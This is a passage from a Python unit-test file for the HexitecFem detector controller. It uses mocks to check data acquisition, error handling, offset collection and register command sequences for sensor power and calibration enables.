fg_frame_data_total_clock_cycles = 1278186053
fg_frame_trigger_count = 0
fg_frame_in_progress_flag = 0
# Input to XAUI
xaui_frame_last_length = 51200
xaui_frame_max_length = 51200
xaui_frame_min_length = 51200
xaui_frame_number = 6
xaui_frame_last_clock_cycles = 23015
xaui_frame_max_clock_cycles = 4112417407
xaui_frame_min_clock_cycles = 23015
xaui_frame_data_total = 307200
xaui_frame_data_total_clock_cycles = 1278186053
xaui_frame_trigger_count = 0
xaui_frame_in_progress_flag = 0
side = [empty_signals, full_signals, empty_signals, full_signals, transfer_ongoing,
transfer_completed,
empty_signals, full_signals, number_frames, s_frame_last_length, s_frame_max_length,
s_frame_min_length, s_frame_number, s_frame_last_clock_cycles,
s_frame_max_clock_cycles, s_frame_min_clock_cycles, s_frame_data_total,
s_frame_data_total_clock_cycles, s_frame_trigger_count, s_frame_in_progress_flag,
# Frame Gate:
fg_frame_last_length, fg_frame_max_length, fg_frame_min_length, fg_frame_number,
fg_frame_last_clock_cycles, fg_frame_max_clock_cycles, fg_frame_min_clock_cycles,
fg_frame_data_total, fg_frame_data_total_clock_cycles, fg_frame_trigger_count,
fg_frame_in_progress_flag,
# Input to XAUI
xaui_frame_last_length, xaui_frame_max_length, xaui_frame_min_length,
xaui_frame_number, xaui_frame_last_clock_cycles, xaui_frame_max_clock_cycles,
xaui_frame_min_clock_cycles, xaui_frame_data_total,
xaui_frame_data_total_clock_cycles, xaui_frame_trigger_count,
xaui_frame_in_progress_flag]
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = side
self.test_fem.fem.acquire_data()
self.test_fem.fem.x10g_rdma.read.assert_has_calls([
call(0x60000011, ANY),
call(0x60000012, ANY),
call(0x60000011, ANY),
call(0x60000012, ANY)
])
def test_check_acquire_finished_handles_cancel(self):
"""Test check_acquire_finished calls acquire_data_completed if acquire cancelled."""
with patch("hexitec.HexitecFem.IOLoop"):
self.test_fem.fem.stop_acquisition = True
self.test_fem.fem.x10g_rdma.write = Mock()
self.test_fem.fem.acquire_data_completed = Mock()
rc_value = self.test_fem.fem.check_acquire_finished()
assert rc_value is None
def test_check_acquire_finished_handles_all_data_sent(self):
"""Test check_acquire_finished calls acquire_data_completed if all data transferred."""
with patch("hexitec.HexitecFem.IOLoop"):
self.test_fem.fem.stop_acquisition = False
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = [1] # >0 Signals all data sent
self.test_fem.fem.x10g_rdma.write = Mock()
self.test_fem.fem.acquire_data_completed = Mock()
rc_value = self.test_fem.fem.check_acquire_finished()
assert rc_value is None
def test_check_acquire_finished_handles_data_being_transmitted(self):
"""Test check_acquire_finished handles normal data transmission."""
with patch("hexitec.HexitecFem.IOLoop") as mock_loop:
self.test_fem.fem.stop_acquisition = False
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = [0] # >0 Signals all data sent
self.test_fem.fem.check_acquire_finished()
mock_loop.instance().call_later.assert_called_with(0.1, self.test_fem.fem.check_acquire_finished)
assert self.test_fem.fem.waited == 0.1
def test_check_acquire_finished_handles_HexitecFemError(self):
"""Test check_choir_finished handles HexitecFemError exception."""
self.test_fem.fem.stop_acquisition = True
self.test_fem.fem.acquisition_completed = False
self.test_fem.fem.acquire_data_completed = Mock()
e_msg = "Bad Error"
self.test_fem.fem.acquire_data_completed.side_effect = HexitecFemError(e_msg)
self.test_fem.fem.check_acquire_finished()
error = "Failed to collect data: {}".format(e_msg)
assert self.test_fem.fem._get_status_error() == error
assert self.test_fem.fem.acquisition_completed is True
def test_check_acquire_finished_handles_exception(self):
"""Test check_choir_finished handles bog standard exception."""
self.test_fem.fem.stop_acquisition = True
self.test_fem.fem.acquisition_completed = False
self.test_fem.fem.acquire_data_completed = Mock()
e_msg = "Badder Error"
self.test_fem.fem.acquire_data_completed.side_effect = Exception(e_msg)
self.test_fem.fem.check_acquire_finished()
error = "Uncaught Exception; Data collection failed: {}".format(e_msg)
assert self.test_fem.fem._get_status_error() == error
assert self.test_fem.fem.acquisition_completed is True
def test_acquire_data_single_sensor(self):
"""Test function handles single sensor selected."""
self.test_fem.fem.first_initialisation = True
self.test_fem.fem.sensors_layout = HexitecFem.READOUTMODE[0]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[0]
self.test_fem.fem.debug = True
empty_signals = 65535
full_signals = 255
transfer_completed = 1
number_frames = 2
# Output from Sensor
s_frame_last_length = 51200
s_frame_max_length = 76960
s_frame_min_length = 51200
s_frame_number = 9
s_frame_last_clock_cycles = 23015
s_frame_max_clock_cycles = 4112394392
s_frame_min_clock_cycles = 23015
s_frame_data_total = 538080
s_frame_data_total_clock_cycles = 1278212083
s_frame_trigger_count = 0
s_frame_in_progress_flag = 0
# Output from frame Gate
fg_frame_last_length = 51200
fg_frame_max_length = 51200
fg_frame_min_length = 51200
fg_frame_number = 6
fg_frame_last_clock_cycles = 23015
fg_frame_max_clock_cycles = 4112417407
fg_frame_min_clock_cycles = 23015
fg_frame_data_total = 307200
fg_frame_data_total_clock_cycles = 1278186053
fg_frame_trigger_count = 0
fg_frame_in_progress_flag = 0
# Input to XAUI
xaui_frame_last_length = 51200
xaui_frame_max_length = 51200
xaui_frame_min_length = 51200
xaui_frame_number = 6
xaui_frame_last_clock_cycles = 23015
xaui_frame_max_clock_cycles = 4112417407
xaui_frame_min_clock_cycles = 23015
xaui_frame_data_total = 307200
xaui_frame_data_total_clock_cycles = 1278186053
xaui_frame_trigger_count = 0
xaui_frame_in_progress_flag = 0
side = [empty_signals, full_signals, empty_signals, full_signals, transfer_completed,
empty_signals, full_signals, number_frames, s_frame_last_length, s_frame_max_length,
s_frame_min_length, s_frame_number, s_frame_last_clock_cycles, s_frame_max_clock_cycles,
s_frame_min_clock_cycles, s_frame_data_total, s_frame_data_total_clock_cycles,
s_frame_trigger_count, s_frame_in_progress_flag,
# Frame Gate:
fg_frame_last_length, fg_frame_max_length, fg_frame_min_length, fg_frame_number,
fg_frame_last_clock_cycles, fg_frame_max_clock_cycles, fg_frame_min_clock_cycles,
fg_frame_data_total, fg_frame_data_total_clock_cycles, fg_frame_trigger_count,
fg_frame_in_progress_flag,
# Input to XAUI
xaui_frame_last_length, xaui_frame_max_length, xaui_frame_min_length, xaui_frame_number,
xaui_frame_last_clock_cycles, xaui_frame_max_clock_cycles, xaui_frame_min_clock_cycles,
xaui_frame_data_total, xaui_frame_data_total_clock_cycles, xaui_frame_trigger_count,
xaui_frame_in_progress_flag]
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = side
self.test_fem.fem.acquire_data()
# Calls to self.test_fem.fem.x10g_rdma.read() already covered in previous unit test
def test_acquire_data_completed_handles_manual_stop(self):
"""Test function handles user stopping acquisition."""
self.test_fem.fem.sensors_layout = HexitecFem.READOUTMODE[0]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[0]
self.test_fem.fem.stop_acquisition = True
self.test_fem.fem.read_response = Mock(return_value="0")
self.test_fem.fem.send_cmd = Mock()
empty_signals = 65535
full_signals = 255
transfer_ongoing = 0
side = [empty_signals, full_signals, empty_signals, full_signals, transfer_ongoing]
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = side
with patch('time.sleep') as fake_sleep:
fake_sleep.side_effect = None
with pytest.raises(HexitecFemError) as exc_info:
self.test_fem.fem.acquire_data_completed()
assert exc_info.type is HexitecFemError
assert exc_info.value.args[0] == "User cancelled Acquire"
assert self.test_fem.fem.operation_percentage_complete == 100
assert self.test_fem.fem.hardware_busy is False
assert self.test_fem.fem.acquisition_completed is True
assert self.test_fem.fem.first_initialisation is False
def test_acquire_data_completed_vsr2_works(self):
"""Test function handles normal end of acquisition, targeting VSR2."""
from datetime import datetime
DATE_FORMAT = self.test_fem.fem.DATE_FORMAT
self.test_fem.fem.acquire_start_time = '%s' % (datetime.now().strftime(DATE_FORMAT))
self.test_fem.fem.first_initialisation = True
self.test_fem.fem.sensors_layout = HexitecFem.READOUTMODE[1]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[2]
self.test_fem.fem.debug = True
empty_signals = 65535
full_signals = 255
number_frames = 2
# Output from Sensor
s_frame_last_length = 51200
s_frame_max_length = 76960
s_frame_min_length = 51200
s_frame_number = 9
s_frame_last_clock_cycles = 23015
s_frame_max_clock_cycles = 4112394392
s_frame_min_clock_cycles = 23015
s_frame_data_total = 538080
s_frame_data_total_clock_cycles = 1278212083
s_frame_trigger_count = 0
s_frame_in_progress_flag = 0
# Output from frame Gate
fg_frame_last_length = 51200
fg_frame_max_length = 51200
fg_frame_min_length = 51200
fg_frame_number = 6
fg_frame_last_clock_cycles = 23015
fg_frame_max_clock_cycles = 4112417407
fg_frame_min_clock_cycles = 23015
fg_frame_data_total = 307200
fg_frame_data_total_clock_cycles = 1278186053
fg_frame_trigger_count = 0
fg_frame_in_progress_flag = 0
# Input to XAUI
xaui_frame_last_length = 51200
xaui_frame_max_length = 51200
xaui_frame_min_length = 51200
xaui_frame_number = 6
xaui_frame_last_clock_cycles = 23015
xaui_frame_max_clock_cycles = 4112417407
xaui_frame_min_clock_cycles = 23015
xaui_frame_data_total = 307200
xaui_frame_data_total_clock_cycles = 1278186053
xaui_frame_trigger_count = 0
xaui_frame_in_progress_flag = 0
side = [empty_signals, full_signals, number_frames, s_frame_last_length, s_frame_max_length,
s_frame_min_length, s_frame_number, s_frame_last_clock_cycles,
s_frame_max_clock_cycles, s_frame_min_clock_cycles, s_frame_data_total,
s_frame_data_total_clock_cycles, s_frame_trigger_count, s_frame_in_progress_flag,
# Frame Gate:
fg_frame_last_length, fg_frame_max_length, fg_frame_min_length, fg_frame_number,
fg_frame_last_clock_cycles, fg_frame_max_clock_cycles, fg_frame_min_clock_cycles,
fg_frame_data_total, fg_frame_data_total_clock_cycles, fg_frame_trigger_count,
fg_frame_in_progress_flag,
# Input to XAUI
xaui_frame_last_length, xaui_frame_max_length, xaui_frame_min_length,
xaui_frame_number, xaui_frame_last_clock_cycles, xaui_frame_max_clock_cycles,
xaui_frame_min_clock_cycles, xaui_frame_data_total,
xaui_frame_data_total_clock_cycles, xaui_frame_trigger_count,
xaui_frame_in_progress_flag
]
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = side
self.test_fem.fem.acquire_data_completed()
self.test_fem.fem.x10g_rdma.read.assert_has_calls([
call(0x60000011, ANY),
call(0x60000012, ANY),
call(0xD0000001, ANY),
# Output from Sensor
call(0x70000010, ANY),
call(0x70000011, ANY),
call(0x70000012, ANY),
call(0x70000013, ANY),
call(0x70000014, ANY),
call(0x70000015, ANY),
call(0x70000016, ANY),
call(0x70000017, ANY),
call(0x70000018, ANY),
call(0x70000019, ANY),
call(0x7000001A, ANY),
# Output from Frame Gate
call(0x80000010, 'frame last length'),
call(0x80000011, 'frame max length'),
call(0x80000012, 'frame min length'),
call(0x80000013, 'frame number'),
call(0x80000014, 'frame last clock cycles'),
call(0x80000015, 'frame max clock cycles'),
call(0x80000016, 'frame min clock cycles'),
call(0x80000017, 'frame data total'),
call(0x80000018, 'frame data total clock cycles'),
call(0x80000019, 'frame trigger count'),
call(0x8000001A, 'frame in progress flag'),
# Input to XAUI
call(0x90000010, 'frame last length'),
call(0x90000011, 'frame max length'),
call(0x90000012, 'frame min length'),
call(0x90000013, 'frame number'),
call(0x90000014, 'frame last clock cycles'),
call(0x90000015, 'frame max clock cycles'),
call(0x90000016, 'frame min clock cycles'),
call(0x90000017, 'frame data total'),
call(0x90000018, 'frame data total clock cycles'),
call(0x90000019, 'frame trigger count'),
call(0x9000001A, 'frame in progress flag'),
])
def test_acquire_data_completed_vsr1_works(self):
"""Test function handles normal end of acquisition, targeting VSR1."""
from datetime import datetime
DATE_FORMAT = self.test_fem.fem.DATE_FORMAT
self.test_fem.fem.acquire_start_time = '%s' % (datetime.now().strftime(DATE_FORMAT))
self.test_fem.fem.first_initialisation = True
self.test_fem.fem.sensors_layout = HexitecFem.READOUTMODE[1]
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[0]
self.test_fem.fem.debug = True
empty_signals = 65535
full_signals = 255
number_frames = 2
# Output from Sensor
s_frame_last_length = 51200
s_frame_max_length = 76960
s_frame_min_length = 51200
s_frame_number = 9
s_frame_last_clock_cycles = 23015
s_frame_max_clock_cycles = 4112394392
s_frame_min_clock_cycles = 23015
s_frame_data_total = 538080
s_frame_data_total_clock_cycles = 1278212083
s_frame_trigger_count = 0
s_frame_in_progress_flag = 0
# Output from frame Gate
fg_frame_last_length = 51200
fg_frame_max_length = 51200
fg_frame_min_length = 51200
fg_frame_number = 6
fg_frame_last_clock_cycles = 23015
fg_frame_max_clock_cycles = 4112417407
fg_frame_min_clock_cycles = 23015
fg_frame_data_total = 307200
fg_frame_data_total_clock_cycles = 1278186053
fg_frame_trigger_count = 0
fg_frame_in_progress_flag = 0
# Input to XAUI
xaui_frame_last_length = 51200
xaui_frame_max_length = 51200
xaui_frame_min_length = 51200
xaui_frame_number = 6
xaui_frame_last_clock_cycles = 23015
xaui_frame_max_clock_cycles = 4112417407
xaui_frame_min_clock_cycles = 23015
xaui_frame_data_total = 307200
xaui_frame_data_total_clock_cycles = 1278186053
xaui_frame_trigger_count = 0
xaui_frame_in_progress_flag = 0
side = [empty_signals, full_signals, number_frames, s_frame_last_length, s_frame_max_length,
s_frame_min_length, s_frame_number, s_frame_last_clock_cycles,
s_frame_max_clock_cycles, s_frame_min_clock_cycles, s_frame_data_total,
s_frame_data_total_clock_cycles, s_frame_trigger_count, s_frame_in_progress_flag,
# Frame Gate:
fg_frame_last_length, fg_frame_max_length, fg_frame_min_length, fg_frame_number,
fg_frame_last_clock_cycles, fg_frame_max_clock_cycles, fg_frame_min_clock_cycles,
fg_frame_data_total, fg_frame_data_total_clock_cycles, fg_frame_trigger_count,
fg_frame_in_progress_flag,
# Input to XAUI
xaui_frame_last_length, xaui_frame_max_length, xaui_frame_min_length,
xaui_frame_number, xaui_frame_last_clock_cycles, xaui_frame_max_clock_cycles,
xaui_frame_min_clock_cycles, xaui_frame_data_total,
xaui_frame_data_total_clock_cycles, xaui_frame_trigger_count,
xaui_frame_in_progress_flag
]
self.test_fem.fem.x10g_rdma.read = Mock()
self.test_fem.fem.x10g_rdma.read.side_effect = side
self.test_fem.fem.acquire_data_completed()
self.test_fem.fem.x10g_rdma.read.assert_has_calls([
call(0x60000011, ANY),
call(0x60000012, ANY),
call(0xD0000001, ANY),
# Output from Sensor
call(0x70000010, ANY),
call(0x70000011, ANY),
call(0x70000012, ANY),
call(0x70000013, ANY),
call(0x70000014, ANY),
call(0x70000015, ANY),
call(0x70000016, ANY),
call(0x70000017, ANY),
call(0x70000018, ANY),
call(0x70000019, ANY),
call(0x7000001A, ANY),
# Output from Frame Gate
call(0x80000010, 'frame last length'),
call(0x80000011, 'frame max length'),
call(0x80000012, 'frame min length'),
call(0x80000013, 'frame number'),
call(0x80000014, 'frame last clock cycles'),
call(0x80000015, 'frame max clock cycles'),
call(0x80000016, 'frame min clock cycles'),
call(0x80000017, 'frame data total'),
call(0x80000018, 'frame data total clock cycles'),
call(0x80000019, 'frame trigger count'),
call(0x8000001A, 'frame in progress flag'),
# Input to XAUI
call(0x90000010, 'frame last length'),
call(0x90000011, 'frame max length'),
call(0x90000012, 'frame min length'),
call(0x90000013, 'frame number'),
call(0x90000014, 'frame last clock cycles'),
call(0x90000015, 'frame max clock cycles'),
call(0x90000016, 'frame min clock cycles'),
call(0x90000017, 'frame data total'),
call(0x90000018, 'frame data total clock cycles'),
call(0x90000019, 'frame trigger count'),
call(0x9000001A, 'frame in progress flag'),
])
def test_set_up_state_machine(self):
"""Test function works ok."""
self.test_fem.fem.read_response = Mock(return_value="0")
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.calculate_frame_rate = Mock()
self.test_fem.fem.hexitec_parameters = {'Control-Settings/Gain': '0',
'Control-Settings/ADC1 Delay': '2',
'Control-Settings/delay sync signals': '10',
'Control-Settings/Row -> S1': '5',
'Control-Settings/S1 -> Sph': '1',
'Control-Settings/Sph -> S2': '5',
'Control-Settings/VCAL2 -> VCAL1': '1'}
self.test_fem.fem.set_up_state_machine()
vsr = self.test_fem.fem.vsr_addr
# Establish register values (r0XX), default values (v0XX)
r002 = 0x30, 0x32
r003 = 0x30, 0x33
r004 = 0x30, 0x34
r005 = 0x30, 0x35
r006 = 0x30, 0x36
r007 = 0x30, 0x37
r009 = 0x30, 0x39
r00E = 0x30, 0x45
r018 = 0x31, 0x38
r019 = 0x31, 0x39
r01B = 0x31, 0x42
r014 = 0x31, 0x34
v002 = 0x30, 0x31
v003 = 0x30, 0x30
v004 = 0x30, 0x31
v005 = 0x30, 0x36
v006 = 0x30, 0x31
v007 = 0x30, 0x33
v009 = 0x30, 0x32
v00E = 0x30, 0x41
v018 = 0x30, 0x31
v019 = 0x30, 0x30
v01B = 0x30, 0x38
v014 = 0x30, 0x31
# Default clock settings in HexitecFem determined default values for
# Registers 002 - 005. Update defaults accordingly:
row_s1 = self.test_fem.fem.row_s1
if row_s1 > -1:
row_s1_low = row_s1 & 0xFF
row_s1_high = row_s1 >> 8
v002 = self.test_fem.fem.convert_to_aspect_format(row_s1_low)
v003 = self.test_fem.fem.convert_to_aspect_format(row_s1_high)
s1_sph = self.test_fem.fem.s1_sph
if s1_sph > -1:
v004 = self.test_fem.fem.convert_to_aspect_format(s1_sph)
sph_s2 = self.test_fem.fem.sph_s2
if sph_s2 > -1:
v005 = self.test_fem.fem.convert_to_aspect_format(sph_s2)
gain = self.test_fem.fem._extract_integer(self.test_fem.fem.hexitec_parameters, 'Control-Settings/Gain', bit_range=1)
if gain > -1:
v006 = self.test_fem.fem.convert_to_aspect_format(gain)
self.test_fem.fem.send_cmd.assert_has_calls([
call([0x23, vsr, HexitecFem.SET_REG_BIT, r007[0], r007[1], v007[0], v007[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r002[0], r002[1], v002[0], v002[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r003[0], r003[1], v003[0], v003[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r004[0], r004[1], v004[0], v004[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r005[0], r005[1], v005[0], v005[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r006[0], r006[1], v006[0], v006[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r009[0], r009[1], v009[0], v009[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r00E[0], r00E[1], v00E[0], v00E[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r01B[0], r01B[1], v01B[0], v01B[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r014[0], r014[1], v014[0], v014[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r018[0], r018[1], v018[0], v018[1], 0x0D]),
call([0x23, vsr, HexitecFem.SET_REG_BIT, r019[0], r019[1], v019[0], v019[1], 0x0D]),
])
def calculate_register_values(self, cmd):
"""Calculate registry value like HexitecFem.send_cmd()."""
while len(cmd) % 4 != 0:
cmd.append(13)
register_values = []
for i in range(0, len(cmd) // 4):
reg_value = 256 * 256 * 256 * cmd[(i * 4)] + 256 * 256 * cmd[(i * 4) + 1] \
+ 256 * cmd[(i * 4) + 2] + cmd[(i * 4) + 3]
register_values.append(reg_value)
return register_values
def test_collect_offsets(self):
"""Test function handles ok."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock(return_value='1A')
with patch('time.sleep') as fake_sleep:
fake_sleep.side_effect = None
self.test_fem.fem.collect_offsets()
vsr1 = HexitecFem.VSR_ADDRESS[0]
vsr2 = HexitecFem.VSR_ADDRESS[1]
self.test_fem.fem.send_cmd.assert_has_calls([
call([0x23, vsr1, HexitecFem.READ_REG_VALUE, 0x32, 0x34, 0x0D]),
call([0x23, vsr2, HexitecFem.READ_REG_VALUE, 0x32, 0x34, 0x0D]),
# 2. Stop the state machine
call([0x23, vsr1, HexitecFem.CLR_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
call([0x23, vsr2, HexitecFem.CLR_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
# 3. Set register 0x24 to 0x22
call([0x23, vsr1, HexitecFem.SEND_REG_VALUE, 0x32, 0x34, 0x32, 0x32, 0x0D]),
call([0x23, vsr2, HexitecFem.SEND_REG_VALUE, 0x32, 0x34, 0x32, 0x32, 0x0D]),
# 4. Start the state machine
call([0x23, vsr1, HexitecFem.SET_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
call([0x23, vsr2, HexitecFem.SET_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
# 5 (wait 1 second), 6. Stop the state machine
call([0x23, vsr1, HexitecFem.CLR_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
call([0x23, vsr2, HexitecFem.CLR_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
# 7. Set register 0x24 to 0x28
call([0x23, vsr1, HexitecFem.SEND_REG_VALUE, 0x32, 0x34, 0x32, 0x38, 0x0D]),
call([0x23, vsr2, HexitecFem.SEND_REG_VALUE, 0x32, 0x34, 0x32, 0x38, 0x0D]),
# 8. Start state machine (same as 4)
call([0x23, vsr1, HexitecFem.SET_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
call([0x23, vsr2, HexitecFem.SET_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]),
# Ensure VCAL remains on
call([0x23, vsr1, HexitecFem.CLR_REG_BIT, 0x32, 0x34, 0x32, 0x30, 0x0D]),
call([0x23, vsr2, HexitecFem.CLR_REG_BIT, 0x32, 0x34, 0x32, 0x30, 0x0D]),
])
def test_collect_offsets_handles_hardware_disconnected(self):
"""Test function handles hardware disconnected."""
self.test_fem.fem.hardware_connected = False
self.test_fem.fem.collect_offsets()
error = "Can't collect offsets while disconnected: Can't collect offsets while disconnected"
assert self.test_fem.fem._get_status_error() == error
def test_collect_offsets_handles_hardware_busy(self):
"""Test function handles hardware busy."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = True
self.test_fem.fem.collect_offsets()
error = "Can't collect offsets while disconnected: Hardware sensors busy initialising"
assert self.test_fem.fem._get_status_error() == error
def test_collect_offsets_fails_unknown_exception(self):
"""Test function fails unexpected exception."""
self.test_fem.fem.hardware_connected = True
self.test_fem.fem.hardware_busy = False
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.send_cmd.side_effect = AttributeError()
self.test_fem.fem.collect_offsets()
error = "Uncaught Exception; Failed to collect offsets: "
assert self.test_fem.fem.status_error == error
def test_load_pwr_cal_read_enables_handles_defaults(self):
"""Test function handles default values in the absence of ini config file."""
vsr_addr = HexitecFem.VSR_ADDRESS[0]
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock()
list_of_46s = [0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46]
list_of_30s = [0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30]
register_061 = [0x36, 0x31] # Column Read Enable ASIC1
register_0C2 = [0x43, 0x32] # Column Read Enable ASIC2
value_061 = list_of_46s
value_0C2 = list_of_46s
enable_sm = [0x23, vsr_addr, HexitecFem.SET_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]
disable_sm = [0x23, vsr_addr, HexitecFem.CLR_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]
# Column Power Enable
register_04D = [0x34, 0x44] # Column Power Enable ASIC1 (Reg 0x4D)
register_0AE = [0x41, 0x45] # Column Power Enable ASIC2 (Reg 0xAE)
value_04D = list_of_46s
value_0AE = list_of_46s
# Column Power Enable, for ASIC1 (Reg 0x4D)
col_power_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_04D[0], register_04D[1], value_04D[0], value_04D[1],
value_04D[2], value_04D[3], value_04D[4], value_04D[5],
value_04D[6], value_04D[7], value_04D[8], value_04D[9],
value_04D[10], value_04D[11], value_04D[12], value_04D[13],
value_04D[14], value_04D[15], value_04D[16], value_04D[17],
value_04D[18], value_04D[19], 0x0D]
# Column Power Enable, for ASIC2 (Reg 0xAE)
col_power_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0AE[0], register_0AE[1], value_0AE[0], value_0AE[1],
value_0AE[2], value_0AE[3], value_0AE[4], value_0AE[5],
value_0AE[6], value_0AE[7], value_0AE[8], value_0AE[9],
value_0AE[10], value_0AE[11], value_0AE[12], value_0AE[13],
value_0AE[14], value_0AE[15], value_0AE[16], value_0AE[17],
value_0AE[18], value_0AE[19], 0x0D]
# Row Power Enable
register_02F = [0x32, 0x46] # Row Power Enable ASIC1 (Reg 0x2F)
register_090 = [0x39, 0x30] # Row Power Enable ASIC2 (Reg 0x90)
value_02F = list_of_46s
value_090 = list_of_46s
# Row Power Enable, for ASIC1 (Reg 0x2F)
row_power_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_02F[0], register_02F[1], value_02F[0], value_02F[1],
value_02F[2], value_02F[3], value_02F[4], value_02F[5],
value_02F[6], value_02F[7], value_02F[8], value_02F[9],
value_02F[10], value_02F[1], value_02F[2], value_02F[3],
value_02F[14], value_02F[15], value_02F[16], value_02F[17],
value_02F[18], value_02F[19], 0x0D]
# Row Power Enable, for ASIC2 (Reg 0x90)
row_power_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_090[0], register_090[1], value_090[0], value_090[1],
value_090[2], value_090[3], value_090[4], value_090[5],
value_090[6], value_090[7], value_090[8], value_090[9],
value_090[10], value_090[11], value_090[12], value_090[13],
value_090[14], value_090[15], value_090[16], value_090[17],
value_090[18], value_090[19], 0x0D]
# Column Calibration Enable
register_057 = [0x35, 0x37] # Column Calibrate Enable ASIC1 (Reg 0x57)
register_0B8 = [0x42, 0x38] # Column Calibrate Enable ASIC2 (Reg 0xB8)
value_057 = list_of_30s
value_0B8 = list_of_30s
# Column Calibrate Enable, for ASIC1 (Reg 0x57)
col_cal_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_057[0], register_057[1], value_057[0], value_057[1],
value_057[2], value_057[3], value_057[4], value_057[5],
value_057[6], value_057[7], value_057[8], value_057[9],
value_057[10], value_057[11], value_057[12], value_057[13],
value_057[14], value_057[15], value_057[16], value_057[17],
value_057[18], value_057[19], 0x0D]
# Column Calibrate Enable, for ASIC2 (Reg 0xB8)
col_cal_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0B8[0], register_0B8[1], value_0B8[0], value_0B8[1],
value_0B8[2], value_0B8[3], value_0B8[4], value_0B8[5],
value_0B8[6], value_0B8[7], value_0B8[8], value_0B8[9],
value_0B8[10], value_0B8[11], value_0B8[12], value_0B8[13],
value_0B8[14], value_0B8[15], value_0B8[16], value_0B8[17],
value_0B8[18], value_0B8[19], 0x0D]
# Row Calibration Enable
register_039 = [0x33, 0x39] # Row Calibrate Enable ASIC1 (Reg 0x39)
register_09A = [0x39, 0x41] # Row Calibrate Enable ASIC2 (Reg 0x9A)
value_039 = list_of_30s
value_09A = list_of_30s
# Row Calibrate Enable, for ASIC1 (Reg 0x39)
row_cal_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_039[0], register_039[1], value_039[0], value_039[1],
value_039[2], value_039[3], value_039[4], value_039[5],
value_039[6], value_039[7], value_039[8], value_039[9],
value_039[10], value_039[11], value_039[12], value_039[13],
value_039[14], value_039[15], value_039[16], value_039[17],
value_039[18], value_039[19], 0x0D]
# Row Calibrate Enable, for ASIC2 (Reg 0x9A)
row_cal_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_09A[0], register_09A[1], value_09A[0], value_09A[1],
value_09A[2], value_09A[3], value_09A[4], value_09A[5],
value_09A[6], value_09A[7], value_09A[8], value_09A[9],
value_09A[10], value_09A[11], value_09A[12], value_09A[13],
value_09A[14], value_09A[15], value_09A[16], value_09A[17],
value_09A[18], value_09A[19], 0x0D]
register_061 = [0x36, 0x31] # Column Read Enable ASIC1
register_0C2 = [0x43, 0x32] # Column Read Enable ASIC2
value_061 = list_of_46s
value_0C2 = list_of_46s
# No ini file loaded, use default values
col_read_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST, register_061[0],
register_061[1], value_061[0], value_061[1], value_061[2],
value_061[3], value_061[4], value_061[5], value_061[6],
value_061[7], value_061[8], value_061[9], value_061[10],
value_061[11], value_061[12], value_061[13], value_061[14],
value_061[15], value_061[16], value_061[17], value_061[18],
value_061[19], 0x0D]
# Column Read Enable, for ASIC2 (Reg 0xC2)
col_read_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0C2[0], register_0C2[1], value_0C2[0], value_0C2[1],
value_0C2[2], value_0C2[3], value_0C2[4], value_0C2[5],
value_0C2[6], value_0C2[7], value_0C2[8], value_0C2[9],
value_0C2[10], value_0C2[11], value_0C2[12], value_0C2[13],
